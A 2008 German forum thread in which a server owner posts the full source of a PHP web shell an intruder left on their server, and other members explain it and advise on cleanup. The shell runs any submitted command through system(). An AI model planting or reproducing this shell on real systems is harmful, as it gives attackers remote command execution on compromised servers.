AGB  ·  Datenschutz  ·  Impressum  







Anmelden
Nützliche Links
Registrieren
Zurück Delphi-PRAXiS Programmierung allgemein Programmieren allgemein [PHP] Scriptvirus von Hacker auf meinen Server gelegt?
Thema durchsuchen
Ansicht
Themen-Optionen

[PHP] Scriptvirus von Hacker auf meinen Server gelegt?

Offene Frage von "Chrissi91"
Ein Thema von Chrissi91 · begonnen am 28. Aug 2008 · letzter Beitrag vom 28. Aug 2008
Antwort Antwort
Chrissi91

Registriert seit: 28. Jul 2005
849 Beiträge
 
#1

[PHP] Scriptvirus von Hacker auf meinen Server gelegt?

  Alt 28. Aug 2008, 13:30
Hallo,

ich habe einen Managed vServer bei Netclusive, sprich Netclusive ist für die Sicherheitsupdates & Co verantwortlich.

Gestern Abend frage ich meine E-Mails ab und just in dem Moment trudelt eine Mail vom Virtuozzo Plesk Panel ein, dass ein neuer Client (Kunde) eingerichtet wurde namens aba und einer Domain tst.com

Ich kurz vor dem Herzinfarkt , logge mich ein und sehe unter Sessions, dass sich jemand als Admin eingeloggt hat. Die IP stammte aus Spanien (67.***.**.** oder so)

Ich habe ihn also gekickt (nachdem er laut Angaben von Plesk schon 27 Minuten eingeloggt war). Nach 5 Sekunden war er wieder drin.

Ich richte daraufhin eine IP-Sperre für alle ein, abgesehen von meiner IP-Range. Soweit so gut. Überltäter kam nicht mehr wieder. Habe die eingetragenen Domains und Clients gelöscht.

Ich bemerkte eben, dass manche Services des Servers nicht mehr gingen. Hab eine Menge rumgeschraubt, ging aber trotzdem nicht. Ich will also VPS neuinstallieren, ziehe nochmal ein Backup und sehe da im Stammverzeichnis eine cgi.php mit folgendem Code:

Code:
<?php
define('PHPSHELL_VERSION', '1.7');
?>
<html>
<head>
<title>PHP Shell <?php echo offender ?></title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1250"></head>
<body>
<style>
body{
   background-color: #000000;
   font-family : sans-serif;
   font-size : 13px;
   scrollbar-face-color: #00FF00;
   scrollbar-shadow-color: #E4317F;
   scrollbar-highlight-color: #FF0000;
   scrollbar-3dlight-color: #806517;
   scrollbar-darkshadow-color: #254117;
   scrollbar-track-color: #254117;
   scrollbar-arrow-color: #736AFF;
}
input,select,option{
   background-color: #000000;
   color : #00FF00;
   border-style : solid;
   font-size : 13px;
}
textarea{
   background-color: #000000;
   color : #00FF00;
   border-style : dotted;
   font-size : 13px;
}
</style>
<body bgcolor=#000000 TEXT=#00ff00 Link=Red vLink=Gray aLink=Aqua background="back.gif"></BODY></HTML>
<h1>PHP Shell <?php echo offender ?></h1>
<?php
if (ini_get('register_globals') != '1') { 
  /* We'll register the variables as globals: */ 
  if (!empty($HTTP_POST_VARS))
    extract($HTTP_POST_VARS);
   
  if (!empty($HTTP_GET_VARS))
    extract($HTTP_GET_VARS);
  if (!empty($HTTP_SERVER_VARS))
    extract($HTTP_SERVER_VARS);

/* First we check if there has been asked for a working directory. */ 
if (!empty($work_dir)) { 
  /* A workdir has been asked for */ 
  if (!empty($command)) { 
    if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) { 
      /* We try and match a cd command. */ 
      if ($regs[1][0] == '/') { 
        $new_dir = $regs[1]; // 'cd /something/...'
      } else { 
        $new_dir = $work_dir . '/' . $regs[1]; // 'cd somedir/...'
      } 
      if (file_exists($new_dir) && is_dir($new_dir)) { 
        $work_dir = $new_dir;
      } 
      unset($command);
    } 
  } 

if (file_exists($work_dir) && is_dir($work_dir)) { 
  /* We change directory to that dir: */ 
  chdir($work_dir);

/* We now update $work_dir to avoid things like '/foo/../bar': */ 
$work_dir = exec('pwd');
?>
<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">


Current working directory: [b]
<?php
$work_dir_splitted = explode('/', substr($work_dir, 1));
echo '[url="' . $PHP_SELF . '?work_dir=/"]Root[/url]/';
if (!empty($work_dir_splitted[0])) { 
  $path = '';
  for ($i = 0; $i < count($work_dir_splitted); $i++) { 
    $path .= '/' . $work_dir_splitted[$i];
    printf('[url="%s?work_dir=%s"]%s[/url]/',
           $PHP_SELF, urlencode($path), $work_dir_splitted[$i]);
  } 

?>[/b]</p>


Choose new working directory:
<select name="work_dir" onfiltered="this.form.submit()">
<?php
/* Now we make a list of the directories. */ 
$dir_handle = opendir($work_dir);
/* Run through all the files and directories to find the dirs. */ 
while ($dir = readdir($dir_handle)) { 
  if (is_dir($dir)) { 
    if ($dir == '.') { 
      echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
    } elseif ($dir == '..') { 
      /* We have found the parent dir. We must be carefull if the parent
     directory is the root directory (/). */ 
      if (strlen($work_dir) == 1) { 
    /* work_dir is only 1 charecter - it can only be / There's no
          parent directory then. */ 
      } elseif (strrpos($work_dir, '/') == 0) { 
    /* The last / in work_dir were the first charecter.
       This means that we have a top-level directory
       eg. /bin or /home etc... */ 
      echo "<option value=\"/\">Parent Directory</option>\n";
      } else { 
      /* We do a little bit of string-manipulation to find the parent
     directory... Trust me - it works :-) */ 
      echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
      } 
    } else { 
      if ($work_dir == '/') { 
    echo "<option value=\"$work_dir$dir\">$dir</option>\n";
      } else { 
    echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
      } 
    } 
  } 

closedir($dir_handle);
?>
</select></p>


Command: <input type="text" name="command" size="60">
<input name="submit_btn" type="submit" value="Execute Command"></p>


Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"></p>
<textarea cols="80" rows="20" readonly>
<?php
if (!empty($command)) { 
  if ($stderr) { 
    $tmpfile = tempnam('/tmp', 'phpshell');
    $command .= " 1> $tmpfile 2>&1; " .
    "cat $tmpfile; rm $tmpfile";
  } else if ($command == 'ls') { 
    /* ls looks much better with ' -F', IMHO. */ 
    $command .= ' -F';
  } 
  system($command);

?>
Laut AntiVir ein PHP Scriptvirus. Kann mir jemand genaueres sagen? Was bezweckt dieser Code? Meinen Hoster habe ich schon informiert, die konnten aber keinen dokumentierten Angriff aus Spanien finden. Und mein Passwort sollte wirklich lang genug sein und auch sicher genug.

Ich habe es jetzt geändert, aber mich würde schon interessieren, warum irgendjemand einen angelichen "PHP Scriptvirus" auf den Server hochlädt. Die Datei wurde nichtmal verlinkt, sodass sie aufgerufen wurde. Und warum wurde die Domain tst.com auf meinen Namen eingetragen?

P.S.: Habe den Code mal genauer angesehen. Kann es sein, dass er einfach ein Edit anzeigt und er darüber Befehle eingeben kann, die ausgeführt werden?

P.P.S.: Im Anhang mal ein Screen der Datei (ist natürlich nicht mehr auf dem Server). Sieht so aus als hätte ich Recht gehabt!
Miniaturansicht angehängter Grafiken
unbenannt_571.jpg  
  Mit Zitat antworten Zitat
Benutzerbild von Matze
Matze
(Co-Admin)

Registriert seit: 7. Jul 2003
Ort: Schwabenländle
14.929 Beiträge
 
Turbo Delphi für Win32
 
#2

Re: [PHP] Scriptvirus von Hacker auf meinen Server gelegt?

  Alt 28. Aug 2008, 14:21
Hallo

Zitat von Chrissi91:
P.S.: Habe den Code mal genauer angesehen. Kann es sein, dass er einfach ein Edit anzeigt und er darüber Befehle eingeben kann, die ausgeführt werden?
Sieht für mich ganz danach aus. Solche Versuche werden sehr häufig gemacht.

Du solltest dir Gedanken machen wie die Datei auf deinen Server gekommen ist und wie der Unbekannte Domains etc. anlegen konnte. Denn wenn du dies nicht ausfindig machst, kann und wird dir dies immer wieder passieren. Deine Passwörter solltest du auf alle Fälle ändern. Landet der Benutzer dann weiterhin auf deinem Server, muss eine Sicherheitslücke im System/deinen Skripten vorliegen.

Viel Erfolg.

Grüße
  Mit Zitat antworten Zitat
Torpedo

Registriert seit: 21. Dez 2003
410 Beiträge
 
#3

Re: [PHP] Scriptvirus von Hacker auf meinen Server gelegt?

  Alt 28. Aug 2008, 14:27
Zitat von Chrissi91:
ich habe einen Managed vServer bei Netclusive, sprich Netclusive ist für die Sicherheitsupdates & Co verantwortlich.
Die sind zwar für die Sicherheit deines Systems verantwortlich, aber nicht für die Sicherheit deiner Scripts. Das klingt nach Remote File Inclusion. Also jemand hat über einen Fehler in einem Script ein anderes Script von einem anderen Server nachgeladen, welches diese Datei erstellt haben könnte.
  Mit Zitat antworten Zitat
Chrissi91

Registriert seit: 28. Jul 2005
849 Beiträge
 
#4

Re: [PHP] Scriptvirus von Hacker auf meinen Server gelegt?

  Alt 28. Aug 2008, 14:34
Hm. Schon möglich. Aber ich glaube etwas anderes:

Er war im Plesk-Panel und von dort aus kann er natürlich aufs FTP zugreifen. Mit dem Einbinden von Dateien würde er es doch nicht schaffen ins Plesk zu kommen. Und dort war er nachweislich. Und wenn er dort ist, kann er ja wiegesagt ans FTP kommen, etc. Halt überall hin ...
  Mit Zitat antworten Zitat
Benutzerbild von Matze
Matze
(Co-Admin)

Registriert seit: 7. Jul 2003
Ort: Schwabenländle
14.929 Beiträge
 
Turbo Delphi für Win32
 
#5

Re: [PHP] Scriptvirus von Hacker auf meinen Server gelegt?

  Alt 28. Aug 2008, 14:50
Daher meine ich, dass du erstmal deine Zugangsdaten ändern sollst. Vielleicht hat der Angreifer lediglich gültige ermitteln können.

Grüße
  Mit Zitat antworten Zitat
Chrissi91

Registriert seit: 28. Jul 2005
849 Beiträge
 
#6

Re: [PHP] Scriptvirus von Hacker auf meinen Server gelegt?

  Alt 28. Aug 2008, 17:19
Naja ... das sagst du so einfach. Konnte ich zwar größtenteils machen, aber nicht überall. Beim Plesk gabs PRobleme. Das funktioniert absolut nicht mehr. Ich kann nicht mal mehr ins Plesk.

Habe meinem Provider gesagt, er solle alles zurücksetzen auf den Anfangszustand, als ich den vServer gemietet habe. Ist das allereinfachste.
  Mit Zitat antworten Zitat
Benutzerbild von Matze
Matze
(Co-Admin)

Registriert seit: 7. Jul 2003
Ort: Schwabenländle
14.929 Beiträge
 
Turbo Delphi für Win32
 
#7

Re: [PHP] Scriptvirus von Hacker auf meinen Server gelegt?

  Alt 28. Aug 2008, 18:08
Das wäre das beste, richtig. Dann ein Backup einspielen, das vor dem "Angriff" erstellt wurde, damit du sicher sein kannst, dass nur das auf dem Server ist, was da auch sein soll.

Das Passwort oder mehrere kannst du gleich darauf ja noch ändern.
  Mit Zitat antworten Zitat
Antwort Antwort


Forumregeln

Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are aus

Gehe zu:

Impressum · AGB · Datenschutz · Nach oben
Alle Zeitangaben in WEZ +1. Es ist jetzt 05:13 Uhr.
Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz